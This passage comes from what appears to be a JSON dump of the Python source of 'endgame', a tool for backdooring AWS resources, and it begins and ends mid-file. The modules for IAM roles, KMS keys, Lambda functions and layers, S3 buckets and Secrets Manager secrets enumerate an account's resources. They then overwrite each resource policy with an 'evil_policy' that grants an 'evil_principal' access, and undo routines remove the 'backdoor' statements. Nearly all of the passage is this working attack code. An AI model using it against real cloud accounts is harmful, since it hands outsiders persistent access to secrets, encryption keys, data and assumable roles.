updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass GlacierVaults(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"glacier\"\n        self.resource_type = \"vaults\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"list_vaults\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page[\"VaultList\"]\n            for resource in these_resources:\n                name = resource.get(\"VaultName\")\n                arn = resource.get(\"VaultARN\")\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/iam.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass IAMRole(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"iam\"\n        self.resource_type = \"role\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        # Override parent values due to IAM being special\n        # Don't include the \"Resource\" block in the policy, or else the policy update will fail\n        # Instead of iam:*, we want to give sts:AssumeRole\n        self.include_resource_block = False\n        self.override_action = \"sts:AssumeRole\"\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         include_resource_block=self.include_resource_block, override_action=self.override_action)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}::{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        try:\n            response = self.client.get_role(RoleName=self.name)\n            policy = response.get(\"Role\").get(\"AssumeRolePolicyDocument\")\n            success = True\n        except self.client.exceptions.NoSuchEntityException:\n            logger.critical(f\"There is no resource with the name {self.name}\")\n            policy = constants.get_empty_policy()\n            success = False\n        except botocore.exceptions.ClientError:\n            # When there is no policy, let's return an empty policy to avoid breaking things\n            policy = constants.get_empty_policy()\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy = json.dumps(evil_policy)\n        try:\n            self.client.update_assume_role_policy(RoleName=self.name, PolicyDocument=new_policy)\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            logger.critical(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass IAMRoles(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"iam\"\n        self.resource_type = \"role\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"list_roles\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            roles = page[\"Roles\"]\n            for role in roles:\n                path = role.get(\"Path\")\n                arn = role.get(\"Arn\")\n                name = role.get(\"RoleName\")\n                # Special case: Ignore Service Linked Roles\n                if path.startswith(\"/aws-service-role/\"):\n                # if path == \"/service-role/\" or path.startswith(\"/aws-service-role/\"):\n                    continue\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/kms.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_sentry.util.arns import get_account_from_arn, get_resource_path_from_arn\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\n# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html\nclass KmsKey(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"kms\"\n        self.resource_type = \"key\"\n        self.region = region\n        self.current_account_id = current_account_id\n        if name.startswith(\"alias\"):\n            self.alias = name\n            name = self._get_key_id_with_alias(name, client)\n            self.name = name\n        else:\n            self.name = name\n            self.alias = None\n        self.override_resource_block = self.arn\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         override_resource_block=self.override_resource_block)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_key_id_with_alias(self, name: str, client: boto3.Session.client) -> str:\n        \"\"\"Given an alias, return the key ID\"\"\"\n        response = client.describe_key(KeyId=name)\n        key_id = response.get(\"KeyMetadata\").get(\"KeyId\")\n        return key_id\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Client.get_key_policy\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        try:\n            response = self.client.get_key_policy(KeyId=self.arn, PolicyName=\"default\")\n            if response.get(\"Policy\"):\n                policy = constants.get_empty_policy()\n                policy[\"Statement\"].extend(json.loads(response.get(\"Policy\")).get(\"Statement\"))\n            else:\n                policy = constants.get_empty_policy()\n            success = True\n        except botocore.exceptions.ClientError:\n            # When there is no policy, let's return an empty policy to avoid breaking things\n            policy = constants.get_empty_policy()\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Client.put_key_policy\n        new_policy = json.dumps(evil_policy)\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        try:\n            self.client.put_key_policy(KeyId=self.name, PolicyName=\"default\", Policy=new_policy)\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            logger.critical(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass KmsKeys(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"kms\"\n        self.resource_type = \"key\"\n        self.current_account_id = current_account_id\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Paginator.ListKeys\n        def list_keys() -> list:\n            keys = []\n            paginator = self.client.get_paginator(\"list_keys\")\n            page_iterator = paginator.paginate()\n            for page in page_iterator:\n                these_resources = page[\"Keys\"]\n                for resource in these_resources:\n                    key_id = resource.get(\"KeyId\")\n                    arn = resource.get(\"KeyArn\")\n                    keys.append(arn)\n            return keys\n\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/kms.html#KMS.Paginator.ListAliases\n        def filter_with_aliases(all_key_arns) -> list:\n            keys = []\n            key_arns_with_aliases = []\n            aws_managed_key_arns = []\n            paginator = self.client.get_paginator(\"list_aliases\")\n            page_iterator = paginator.paginate()\n            for page in page_iterator:\n                these_resources = page[\"Aliases\"]\n                for resource in these_resources:\n                    alias = resource.get(\"AliasName\")\n                    key_id = resource.get(\"TargetKeyId\")\n                    arn = resource.get(\"AliasArn\")\n                    if alias.startswith(\"alias/aws\") or alias.startswith(\"aws/\"):\n                        aws_managed_key_arns.append(arn)\n                        if key_id:\n                            aws_managed_key_arns.append(f\"arn:aws:kms:{self.region}:{self.current_account_id}:key/{key_id}\")\n                        continue\n                    else:\n                        # keys.append(alias)\n                        arn = f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{key_id}\"\n                        list_resources_response = ListResourcesResponse(\n                            service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                            resource_type=self.resource_type, name=key_id, note=alias)\n                        keys.append(list_resources_response)\n                        key_arns_with_aliases.append(arn)\n            # If the key does not have an alias, return the key ID\n            for some_key_arn in all_key_arns:\n                if some_key_arn not in key_arns_with_aliases and some_key_arn not in aws_managed_key_arns:\n                    key_id = get_resource_path_from_arn(some_key_arn)\n                    arn = f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{key_id}\"\n                    list_resources_response = ListResourcesResponse(\n                        service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                        resource_type=self.resource_type, name=key_id)\n                    keys.append(list_resources_response)\n            return keys\n        key_ids = list_keys()\n        resources = filter_with_aliases(key_ids)\n        return resources\n\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/lambda_function.py",
    "content": "import json\nimport logging\nfrom abc import ABC\nimport boto3\nimport botocore\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.utils import get_sid_names_with_error_handling\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass LambdaFunction(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"lambda\"\n        self.resource_type = \"function\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}:{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        # When there is no policy, let's return an empty policy to avoid breaking things\n        policy = constants.get_empty_policy()\n        try:\n            response = self.client.get_policy(FunctionName=self.name)\n            policy = json.loads(response.get(\"Policy\"))\n            success = True\n        except self.client.exceptions.ResourceNotFoundException as error:\n            logger.debug(\"The Policy does not exist. We will have to add it.\")\n            success = True\n        except botocore.exceptions.ClientError as error:\n            logger.critical(error)\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy_document = PolicyDocument(\n            policy=evil_policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        new_policy_json = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        current_sids = get_sid_names_with_error_handling(self.original_policy)\n        success = True\n        try:\n            for statement in new_policy_document.statements:\n                if statement.sid not in current_sids:\n                    self.client.add_permission(\n                        FunctionName=self.name,\n                        StatementId=statement.sid,\n                        Action=statement.actions[0],\n                        Principal=statement.aws_principals[0],\n                    )\n                    success = True\n                new_policy_json[\"Statement\"].append(json.loads(statement.__str__()))\n            message = \"success\"\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                            f\"{self.name}. %s\" % error)\n            success = False\n        policy_document = self._get_rbp().policy_document\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=policy_document.json, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Wraps client.remove_permission\"\"\"\n        logger.debug(f\"Removing {evil_principal} from {self.arn}\")\n        new_policy = constants.get_empty_policy()\n        operation = \"UNDO\"\n        message = \"404: No backdoor statement found\"\n        success = True\n        for statement in self.policy_document.statements:\n            if statement.sid == constants.SID_SIGNATURE:\n                if not dry_run:\n                    try:\n                        self.client.remove_permission(\n                            FunctionName=self.name,\n                            StatementId=statement.sid,\n                        )\n                        message = f\"200: Removed backdoor statement from the resource policy attached to {self.arn}\"\n                        success = True\n                    except botocore.exceptions.ClientError as error:\n                        success = False\n                        logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                                        f\"{self.name}. %s\" % error)\n            else:\n                new_policy[\"Statement\"].append(json.loads(statement.__str__()))\n        response_message = ResponseMessage(message=message, operation=operation, success=success,\n                                           evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                           original_policy=self.original_policy, updated_policy=new_policy,\n                                           resource_type=self.resource_type, resource_name=self.name,\n                                           service=self.service)\n        return response_message\n\n\nclass LambdaFunctions(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"lambda\"\n        self.resource_type = \"function\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator('list_functions')\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            functions = page[\"Functions\"]\n            for function in functions:\n                name = function.get(\"FunctionName\")\n                arn = function.get(\"FunctionArn\")\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/lambda_layer.py",
    "content": "import logging\nimport json\nimport boto3\nfrom abc import ABC\nimport botocore\nfrom botocore.exceptions import ClientError\nfrom policy_sentry.util.arns import get_resource_path_from_arn, get_account_from_arn\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared import constants\nfrom endgame.shared.utils import get_sid_names_with_error_handling\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass LambdaLayer(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"lambda\"\n        self.resource_type = \"layer\"\n        self.name = name.split(\":\")[0]\n        self.version = int(name.split(\":\")[1])\n        super().__init__(self.name, self.resource_type, self.service, region, client, current_account_id)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}:{self.name}:{self.version}\"\n\n    @property\n    def arn_without_version(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}:{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        # When there is no policy, let's return an empty policy to avoid breaking things\n        policy = constants.get_empty_policy()\n        try:\n            response = self.client.get_layer_version_policy(LayerName=self.name, VersionNumber=self.version)\n            policy = json.loads(response.get(\"Policy\"))\n            success = True\n        except self.client.exceptions.ResourceNotFoundException as error:\n            logger.debug(\"The Policy does not exist. We will have to add it.\")\n            success = True\n        except botocore.exceptions.ClientError as error:\n            logger.critical(error)\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy_document = PolicyDocument(\n            policy=evil_policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        new_policy_json = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        current_sids = get_sid_names_with_error_handling(self.original_policy)\n        success = True\n        try:\n            for statement in new_policy_document.statements:\n                if statement.sid not in current_sids:\n                    if \":\" in statement.aws_principals[0]:\n                        account_id = get_account_from_arn(statement.aws_principals[0])\n                        principal = f\"arn:aws:iam::{account_id}:root\"\n                    elif \"*\" == statement.aws_principals[0]:\n                        principal = \"*\"\n                    else:\n                        principal = statement.aws_principals[0]\n                    try:\n                        self.client.add_layer_version_permission(\n                            LayerName=self.arn_without_version,\n                            VersionNumber=self.version,\n                            StatementId=statement.sid,\n                            Action=\"lambda:GetLayerVersion\",\n                            Principal=principal,\n                        )\n                    except botocore.exceptions.ClientError as error:\n                        success = False\n                        logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                                        f\"{self.name}. %s\" % error)\n                new_policy_json[\"Statement\"].append(json.loads(statement.__str__()))\n            message = \"success\"\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        policy_document = self._get_rbp().policy_document\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=policy_document.json, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Wraps client.remove_permission\"\"\"\n        logger.debug(f\"Removing {evil_principal} from {self.arn}\")\n        new_policy = constants.get_empty_policy()\n        operation = \"UNDO\"\n        message = \"404: No backdoor statement found\"\n        success = True\n        try:\n            for statement in self.policy_document.statements:\n                if statement.sid == constants.SID_SIGNATURE:\n                    if not dry_run:\n                        self.client.remove_layer_version_permission(\n                            LayerName=self.name,\n                            VersionNumber=self.version,\n                            StatementId=statement.sid,\n                        )\n                        success = True\n                else:\n                    new_policy[\"Statement\"].append(json.loads(statement.__str__()))\n        except botocore.exceptions.ClientError as error:\n            success = False\n            logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                            f\"{self.name}. %s\" % error)\n        response_message = ResponseMessage(message=message, operation=operation, success=success,\n                                           evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                           original_policy=self.original_policy, updated_policy=new_policy,\n                                           resource_type=self.resource_type, resource_name=self.name,\n                                           service=self.service)\n        return response_message\n\n\nclass LambdaLayers(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"lambda\"\n        self.resource_type = \"layer\"\n\n    @property\n    def layers(self):\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator('list_layers')\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            layers = page[\"Layers\"]\n            for layer in layers:\n                name = layer.get(\"LayerName\")\n                arn = layer.get(\"LayerArn\")\n                resources.append(name)\n        return resources\n\n    def layer_version_arns(self, layer_name):\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator('list_layer_versions')\n        page_iterator = paginator.paginate(\n            LayerName=layer_name\n        )\n        for page in page_iterator:\n            layers = page[\"LayerVersions\"]\n            for layer in layers:\n                version = layer.get(\"Version\")\n                layer_version_arn = layer.get(\"LayerVersionArn\")\n                # name = get_resource_path_from_arn(layer_version_arn)\n                resources.append(layer_version_arn)\n        return resources\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        layers = self.layers\n        for layer_name in layers:\n            layer_arns = self.layer_version_arns(layer_name)\n            for arn in layer_arns:\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=layer_name)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/s3.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseMessage, ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass S3Bucket(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"s3\"\n        self.resource_type = \"bucket\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:::{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        policy = constants.get_empty_policy()\n        try:\n            response = self.client.get_bucket_policy(Bucket=self.name)\n            policy = json.loads(response.get(\"Policy\"))\n            message = \"200: Successfully obtained bucket policy for %s\" % self.arn\n            success = True\n        except botocore.exceptions.ClientError as error:\n            error_code = error.response['Error']['Code']\n            message = f\"{error_code}: {error.response.get('Error').get('Message')} for {error.response.get('Error').get('BucketName')}\"\n            if error.response['Error']['Code'] == \"AccessDenied\":\n                success = False\n            elif error.response['Error']['Code'] == \"NoSuchBucketPolicy\":\n                success = True\n            else:\n                # This occurs when there is no resource policy attached\n                success = True\n        except Exception as error:\n            message = error\n            success = False\n        logger.debug(message)\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy = json.dumps(evil_policy)\n        try:\n            self.client.put_bucket_policy(Bucket=self.name, Policy=new_policy)\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass S3Buckets(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"s3\"\n        self.resource_type = \"bucket\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        response = self.client.list_buckets()\n        resources = []\n        for resource in response.get(\"Buckets\"):\n            name = resource.get(\"Name\")\n            arn = f\"arn:aws:{self.service}:::{name}\"\n            list_resources_response = ListResourcesResponse(\n                service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                resource_type=self.resource_type, name=name)\n            resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/secrets_manager.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass SecretsManagerSecret(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"secretsmanager\"\n        self.resource_type = \"secret\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        try:\n            response = self.client.get_resource_policy(SecretId=self.name)\n            if response.get(\"ResourcePolicy\"):\n                policy = json.loads(response.get(\"ResourcePolicy\"))\n            else:\n                policy = constants.get_empty_policy()\n            success = True\n        except botocore.exceptions.ClientError:\n            # When there is no policy, let's return an empty policy to avoid breaking things\n            policy = constants.get_empty_policy()\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy = json.dumps(evil_policy)\n        try:\n            self.client.put_resource_policy(SecretId=self.name, ResourcePolicy=new_policy)\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass SecretsManagerSecrets(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"secretsmanager\"\n        self.resource_type = \"secret\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"list_secrets\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page[\"SecretList\"]\n            for resource in these_resources:\n                name = resource.get(\"Name\")\n                arn = resource.get(\"ARN\")\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/ses.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass SesIdentityPolicy(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.name = name\n        self.service = \"ses\"\n        self.resource_type = \"identity\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.override_resource_block = self.arn\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         override_resource_block=self.override_resource_block)\n        self.identity_policy_names = self._identity_policy_names()\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _identity_policy_names(self) -> list:\n        try:\n            response = self.client.list_identity_policies(Identity=self.name)\n            # 